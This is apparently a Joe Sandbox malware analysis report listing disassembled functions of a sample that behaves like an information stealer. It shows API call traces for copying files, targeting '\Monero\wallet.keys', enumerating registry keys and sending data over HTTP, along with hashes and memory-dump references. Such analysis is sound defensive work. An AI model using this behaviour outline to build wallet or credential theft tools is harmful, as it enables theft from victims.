Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 1224485577-2774362122
Opcode ID: c1ba0dc72a1c722e6f5bfee45d63e32c6f4c6c71a8b680e96c4b296b7369b5fb
Instruction ID: 80a41a522387954ed9584e023a8a115172e2c085080125399459eb9a50678cf8
Opcode Fuzzy Hash: c1ba0dc72a1c722e6f5bfee45d63e32c6f4c6c71a8b680e96c4b296b7369b5fb
Instruction Fuzzy Hash: 9F3261B1820118BADB14FBA1DC91FEEB378BF14704F40415EB10666492DF386A5ACF7A

Function 004AA790 Relevance: 39.0, APIs: 21, Strings: 1, Instructions: 539
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004BAA70: StrCmpCA.SHLWAPI(00FD8F48,004AA7A7,?,004AA7A7,00FD8F48), ref: 004BAA8F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 004AAAC8
RtlAllocateHeap.NTDLL(00000000), ref: 004AAACF
StrCmpCA.SHLWAPI(00000000,ERROR_RUN_EXTRACTOR), ref: 004AABE2
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 004AA8B0

Part of subcall function 004BA820: lstrlen.KERNEL32(004A4F05,?,?,004A4F05,004C0DDE), ref: 004BA82B
Part of subcall function 004BA820: lstrcpy.KERNEL32(004C0DDE,00000000), ref: 004BA885

Part of subcall function 004BA9B0: lstrlen.KERNEL32(?,00FD8CC8,?,\Monero\wallet.keys,004C0E17), ref: 004BA9C5
Part of subcall function 004BA9B0: lstrcpy.KERNEL32(00000000), ref: 004BAA04
Part of subcall function 004BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 004BAA12

Part of subcall function 004BA8A0: lstrcpy.KERNEL32(?,004C0E17), ref: 004BA905

lstrcat.KERNEL32(?,00000000), ref: 004AACEB
lstrcat.KERNEL32(?,004C1320), ref: 004AACFA
lstrcat.KERNEL32(?,00000000), ref: 004AAD0D
lstrcat.KERNEL32(?,004C1324), ref: 004AAD1C
lstrcat.KERNEL32(?,00000000), ref: 004AAD2F
lstrcat.KERNEL32(?,004C1328), ref: 004AAD3E
lstrcat.KERNEL32(?,00000000), ref: 004AAD51
lstrcat.KERNEL32(?,004C132C), ref: 004AAD60
lstrcat.KERNEL32(?,00000000), ref: 004AAD73
lstrcat.KERNEL32(?,004C1330), ref: 004AAD82
lstrcat.KERNEL32(?,00000000), ref: 004AAD95
lstrcat.KERNEL32(?,004C1334), ref: 004AADA4
lstrcat.KERNEL32(?,00000000), ref: 004AADB7
lstrlen.KERNEL32(?), ref: 004AAE0D
lstrlen.KERNEL32(?), ref: 004AAE1C

Part of subcall function 004BA740: lstrcpy.KERNEL32(004C0E17,00000000), ref: 004BA788

Part of subcall function 004BA7A0: lstrcpy.KERNEL32(?,00000000), ref: 004BA7E6

DeleteFileA.KERNEL32(00000000), ref: 004AAE97

Strings

ERROR_RUN_EXTRACTOR, xrefs: 004AABD4

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcess
String ID: ERROR_RUN_EXTRACTOR
API String ID: 4157063783-2709115261
Opcode ID: 2ec71a1538d49fc78053cba314734838a061f093c94993ec9406545780ee8ff0
Instruction ID: 18a035fcf87cda4a90d791f152549b249ab85f2fad90827e581a772aa9490aed
Opcode Fuzzy Hash: 2ec71a1538d49fc78053cba314734838a061f093c94993ec9406545780ee8ff0
Instruction Fuzzy Hash: AC124F71910108ABDB14FBA1DD96EEE7379AF14304F50405EB503B64A1DF38AE1ACB7A

Function 004A5960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004BA7A0: lstrcpy.KERNEL32(?,00000000), ref: 004BA7E6

Part of subcall function 004A47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004A4839
Part of subcall function 004A47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 004A4849

Part of subcall function 004BA740: lstrcpy.KERNEL32(004C0E17,00000000), ref: 004BA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 004A59F8
StrCmpCA.SHLWAPI(?,00FDF620), ref: 004A5A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004A5B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,00FDF5B0,00000000,?,00FDA0E8,00000000,?,004C1A1C), ref: 004A5E71
lstrlen.KERNEL32(00000000), ref: 004A5E82
GetProcessHeap.KERNEL32(00000000,?), ref: 004A5E93
RtlAllocateHeap.NTDLL(00000000), ref: 004A5E9A
lstrlen.KERNEL32(00000000), ref: 004A5EAF
lstrlen.KERNEL32(00000000), ref: 004A5ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 004A5EF1
lstrlen.KERNEL32(00000000,?,?), ref: 004A5F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 004A5F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 004A5F4C
InternetCloseHandle.WININET(00000000), ref: 004A5FB0
InternetCloseHandle.WININET(00000000), ref: 004A5FBD
HttpOpenRequestA.WININET(00000000,00FDF570,?,00FDEE18,00000000,00000000,00400100,00000000), ref: 004A5BF8

Part of subcall function 004BA9B0: lstrlen.KERNEL32(?,00FD8CC8,?,\Monero\wallet.keys,004C0E17), ref: 004BA9C5
Part of subcall function 004BA9B0: lstrcpy.KERNEL32(00000000), ref: 004BAA04
Part of subcall function 004BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 004BAA12

Part of subcall function 004BA8A0: lstrcpy.KERNEL32(?,004C0E17), ref: 004BA905

Part of subcall function 004BA920: lstrcpy.KERNEL32(00000000,?), ref: 004BA972
Part of subcall function 004BA920: lstrcat.KERNEL32(00000000), ref: 004BA982

InternetCloseHandle.WININET(00000000), ref: 004A5FC7

Strings

------, xrefs: 004A5C0B
------, xrefs: 004A5D4C
------, xrefs: 004A5A96
", xrefs: 004A5CD5
", xrefs: 004A5E16

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: 43ac7ecee59cb2d19eb94d6dad071d5f57df51a86d8e031f0d331b882f59c615
Instruction ID: f3a2dabc7c6217703e7e51bf3ec8b6794c5ee95a8e390bb1eb32045c1d111316
Opcode Fuzzy Hash: 43ac7ecee59cb2d19eb94d6dad071d5f57df51a86d8e031f0d331b882f59c615
Instruction Fuzzy Hash: 57123B71820118BADB14FBA1DCA5FEEB378BF14704F50419EB10666091EF782A5ACF79

Function 004ACEF0 Relevance: 30.4, APIs: 20, Instructions: 375
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004BA740: lstrcpy.KERNEL32(004C0E17,00000000), ref: 004BA788

Part of subcall function 004BA9B0: lstrlen.KERNEL32(?,00FD8CC8,?,\Monero\wallet.keys,004C0E17), ref: 004BA9C5
Part of subcall function 004BA9B0: lstrcpy.KERNEL32(00000000), ref: 004BAA04
Part of subcall function 004BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 004BAA12

Part of subcall function 004BA8A0: lstrcpy.KERNEL32(?,004C0E17), ref: 004BA905

Part of subcall function 004B8B60: GetSystemTime.KERNEL32(004C0E1A,00FDA418,004C05AE,?,?,004A13F9,?,0000001A,004C0E1A,00000000,?,00FD8CC8,?,\Monero\wallet.keys,004C0E17), ref: 004B8B86

Part of subcall function 004BA920: lstrcpy.KERNEL32(00000000,?), ref: 004BA972
Part of subcall function 004BA920: lstrcat.KERNEL32(00000000), ref: 004BA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 004ACF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 004AD0C7
RtlAllocateHeap.NTDLL(00000000), ref: 004AD0CE
lstrcat.KERNEL32(?,00000000), ref: 004AD208
lstrcat.KERNEL32(?,004C1478), ref: 004AD217
lstrcat.KERNEL32(?,00000000), ref: 004AD22A
lstrcat.KERNEL32(?,004C147C), ref: 004AD239
lstrcat.KERNEL32(?,00000000), ref: 004AD24C
lstrcat.KERNEL32(?,004C1480), ref: 004AD25B
lstrcat.KERNEL32(?,00000000), ref: 004AD26E
lstrcat.KERNEL32(?,004C1484), ref: 004AD27D
lstrcat.KERNEL32(?,00000000), ref: 004AD290
lstrcat.KERNEL32(?,004C1488), ref: 004AD29F
lstrcat.KERNEL32(?,00000000), ref: 004AD2B2
lstrcat.KERNEL32(?,004C148C), ref: 004AD2C1
lstrcat.KERNEL32(?,00000000), ref: 004AD2D4
lstrcat.KERNEL32(?,004C1490), ref: 004AD2E3

Part of subcall function 004BA820: lstrlen.KERNEL32(004A4F05,?,?,004A4F05,004C0DDE), ref: 004BA82B
Part of subcall function 004BA820: lstrcpy.KERNEL32(004C0DDE,00000000), ref: 004BA885

lstrlen.KERNEL32(?), ref: 004AD32A
lstrlen.KERNEL32(?), ref: 004AD339

Part of subcall function 004BAA70: StrCmpCA.SHLWAPI(00FD8F48,004AA7A7,?,004AA7A7,00FD8F48), ref: 004BAA8F

DeleteFileA.KERNEL32(00000000), ref: 004AD3B4

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 48897ea38c0334027a5c392c11fd83385e8a3dd1c8e25df0e8205b6d8728e1a0
Instruction ID: ece2ac2adb782496f4023eab0d1e82ded6334e52701617a8fb6d7323ee2fa986
Opcode Fuzzy Hash: 48897ea38c0334027a5c392c11fd83385e8a3dd1c8e25df0e8205b6d8728e1a0
Instruction Fuzzy Hash: BAE12F71910208ABCB14FBA1DD96EEE7379AF14305F10415EF107B60A1DE39BA16CB7A

Function 004B8320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004BA740: lstrcpy.KERNEL32(004C0E17,00000000), ref: 004BA788

RegOpenKeyExA.KERNEL32(00000000,00FDAE90,00000000,00020019,00000000,004C05B6), ref: 004B83A4
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 004B8426
wsprintfA.USER32 ref: 004B8459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 004B847B
RegCloseKey.ADVAPI32(00000000), ref: 004B848C
RegCloseKey.ADVAPI32(00000000), ref: 004B8499

Part of subcall function 004BA7A0: lstrcpy.KERNEL32(?,00000000), ref: 004BA7E6

Strings

?, xrefs: 004B837A
%s\%s, xrefs: 004B844D
- , xrefs: 004B85A3

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: a1239251665c1b7a3680161b486c841dc3d1650cff274422f180f75c3fe46e24
Instruction ID: ee5ded8de07587e686f1a008d39c771dc1156613e6a4530871de76e14d69cbfd
Opcode Fuzzy Hash: a1239251665c1b7a3680161b486c841dc3d1650cff274422f180f75c3fe46e24
Instruction Fuzzy Hash: 7F810E71910218ABDB24EF64CC95FEAB7B9FF08704F00869DE109A6140DF756B86CFA5

Function 004A6280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 004BA7A0: lstrcpy.KERNEL32(?,00000000), ref: 004BA7E6

Part of subcall function 004A47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004A4839
Part of subcall function 004A47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 004A4849

Part of subcall function 004BA740: lstrcpy.KERNEL32(004C0E17,00000000), ref: 004BA788

InternetOpenA.WININET(004C0DFE,00000001,00000000,00000000,00000000), ref: 004A62E1
StrCmpCA.SHLWAPI(?,00FDF620), ref: 004A6303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004A6335
HttpOpenRequestA.WININET(00000000,GET,?,00FDEE18,00000000,00000000,00400100,00000000), ref: 004A6385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 004A63BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004A63D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 004A63FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 004A646D
InternetCloseHandle.WININET(00000000), ref: 004A64EF
InternetCloseHandle.WININET(00000000), ref: 004A64F9
InternetCloseHandle.WININET(00000000), ref: 004A6503

Strings

ERROR, xrefs: 004A64C9
GET, xrefs: 004A637C
ERROR, xrefs: 004A6407

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 5b11bc21f13b00430189cd27d80e15b12a70a7267201231d8960e7e2aab94c94
Instruction ID: a5a10f8804493acc743c9dc3a38a46a1992e11b4673777ef02f165f28141b974
Opcode Fuzzy Hash: 5b11bc21f13b00430189cd27d80e15b12a70a7267201231d8960e7e2aab94c94
Instruction Fuzzy Hash: 44716F75A00318ABDF24DFA0CC85FEE7775BB49700F10815AF50A6B190DBB86A85CF56

Function 004B5510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 004BA820: lstrlen.KERNEL32(004A4F05,?,?,004A4F05,004C0DDE), ref: 004BA82B
Part of subcall function 004BA820: lstrcpy.KERNEL32(004C0DDE,00000000), ref: 004BA885

Part of subcall function 004BA740: lstrcpy.KERNEL32(004C0E17,00000000), ref: 004BA788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 004B5644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 004B56A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 004B5857

Part of subcall function 004BA7A0: lstrcpy.KERNEL32(?,00000000), ref: 004BA7E6

Part of subcall function 004B51F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 004B5228

Part of subcall function 004BA8A0: lstrcpy.KERNEL32(?,004C0E17), ref: 004BA905

Part of subcall function 004B52C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 004B5318
Part of subcall function 004B52C0: lstrlen.KERNEL32(00000000), ref: 004B532F
